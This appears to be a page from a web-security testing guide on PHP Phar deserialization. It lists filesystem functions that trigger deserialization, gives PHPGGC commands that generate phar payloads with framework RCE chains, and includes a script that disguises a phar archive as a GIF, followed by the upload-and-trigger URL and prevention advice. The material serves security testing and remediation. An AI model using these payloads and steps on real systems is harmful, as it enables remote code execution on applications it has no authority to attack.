Phar Deserialization
A phar:// reference unserializes the archive's metadata on any stream operation. That makes file_exists() an execute path, and it is the reason a read-only sink is not safe.
The rule this breaks
Everywhere else on this site the rule holds: a sink that reads is disclosure, a sink that executes is RCE. See Inclusion vs Traversal.
phar:// breaks it. A Phar archive stores serialized metadata in its manifest, and PHP unserializes that metadata whenever the stream is touched — not when the archive is executed, not when a file inside it is included, but on any stream operation at all.
So file_exists($_GET['x']) with x=phar://./uploads/avatar.jpg/a calls unserialize() on data you control. If any loaded class has a usable __destruct(), __wakeup(), or __toString(), that is code execution through a function whose entire job is to return a boolean.
This is Sam Thomas's 2018 work, and it is why "the sink only reads" is not a safe conclusion in PHP.
Functions that trigger it
<?php
// The obvious ones
include($p); require($p); file_get_contents($p); readfile($p); fopen($p, 'r');
// The ones nobody thinks of as sinks — every one of these calls the stream
// wrapper, and every one of them therefore unserializes the manifest.
file_exists($p);
is_file($p);
is_dir($p);
is_readable($p);
is_writable($p);
filesize($p);
filemtime($p);
stat($p);
lstat($p);
touch($p);
unlink($p);
copy($p, $dst);
rename($p, $dst);
md5_file($p);
sha1_file($p);
hash_file('sha256', $p);
getimagesize($p); // the classic: an image "validator"
file($p);
parse_ini_file($p);
// PHP 8 added a check that the stub is present before deserializing, which
// removes some accidental triggers. It does not remove the technique — a
// real archive has a real stub.The catch: you need a gadget
unserialize() on attacker data is not automatically code execution. It reconstructs objects; it does not call arbitrary functions. You need a gadget chain: a sequence of magic methods on classes that are actually loaded, ending somewhere useful.
The usual entry points are __destruct() (runs at the end of the request, on every reconstructed object, so it is nearly always reachable), __wakeup() (runs during unserialization), and __toString() (runs when the object is used in string context).
This is why the guide is rated AC:H. A minimal application with no framework may have nothing usable loaded at all. A Laravel, Symfony, WordPress, or Drupal application almost certainly does.
PHPGGC is the tool. It maintains chains for the common frameworks and will generate the serialized payload for you:
phpggc -l # what chains exist
phpggc Monolog/RCE1 system id -p phar -o evil.phar
phpggc Laravel/RCE9 system id -p phar -o evil.phar
Which chain applies depends on the framework and its exact version — which is what the source read from php://filter and a look at composer.lock tells you.
Building the archive
<?php
// php -d phar.readonly=0 build.php
// Whatever class your gadget chain starts from. This is a placeholder —
// use PHPGGC to generate a real one for the target's framework.
class Example { public $cmd = 'id'; }
$p = new Phar('evil.phar');
$p->startBuffering();
// GIF magic bytes before __HALT_COMPILER makes the file pass a magic-byte
// check while remaining a valid phar.
$p->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$p->addFromString('x', 'x');
// This is the payload. It is serialized into the manifest, and it is what
// gets unserialized on ANY stream operation against phar://this-file/…
$p->setMetadata(new Example());
$p->stopBuffering();
rename('evil.phar', 'avatar.gif');
// Upload avatar.gif through whatever feature accepts images, then:
// ?page=phar://./uploads/avatar.gif/x
//
// The /x at the end is required syntactically. It does not have to exist —
// the metadata is deserialized while resolving the path, before the entry
// is looked up.Why this changes how you test
Three practical consequences.
A read-only sink is worth attacking. If you have found file_get_contents($_GET['x']) and concluded it is disclosure-only, check whether the application has a framework loaded. It may be RCE.
A sink that returns nothing at all is worth attacking. if (file_exists($_GET['x'])) { … } produces no output you can read, but the deserialization already happened. This is the class of sink that gets skipped entirely during testing because it looks inert.
Image validation is a sink. getimagesize() is what an upload handler calls to confirm the file is really an image. Point it at a phar:// path and it becomes the trigger. An upload feature that validates carefully and an inclusion bug elsewhere combine into something neither is alone.
When writing this up, describe the mechanism rather than the label. "Path traversal in the avatar preview" understates it; "attacker-controlled path reaches getimagesize(), which triggers Phar metadata deserialization and reaches a Monolog gadget chain" is the finding.
Prevention
- Allowlist the parameter. As always, the fix is that user input never names a path. See Defense in Depth.
- Reject
phar://explicitly if you must accept a path. A denylist is normally poor advice, but this specific scheme has no legitimate use in a request parameter, and blocking it removes a whole class of surprise sinks. phar.readonly=On— the default — does not help. It prevents PHP code from writing archives; reading them is unaffected. Recommending it as a fix for this is a common and incorrect remediation.- Re-encode uploaded images, which destroys the archive. See Uploads, zip:// and phar://.
- Keep dependencies current. You cannot remove
unserialize()'s behaviour, but gadget chains are found and fixed in framework code, and an up-to-date dependency tree has fewer of them.
PHP 8.0 added a stub check before deserializing, which removes some accidental triggers. It does not remove the technique.
Related
An upload feature that rejects .php files still lets you put bytes on disk. zip:// and phar:// reach inside the archive you uploaded, and neither is governed by any allow_url flag.
The same missing validation, the same payload, and two findings with different severities and different fixes. Whether the sink executes is the only thing that separates them.
PHP's stream layer makes every filesystem function accept a URL. That one design decision is why file inclusion in PHP is a different bug from file inclusion anywhere else.
The only runtime with a stream-wrapper layer, and therefore the only one where a filename can become a URL. What to fix, in the order it matters.
One fix works and the rest are mitigations. Knowing which is which is the difference between a remediation that holds and a config change that gets reported again next year.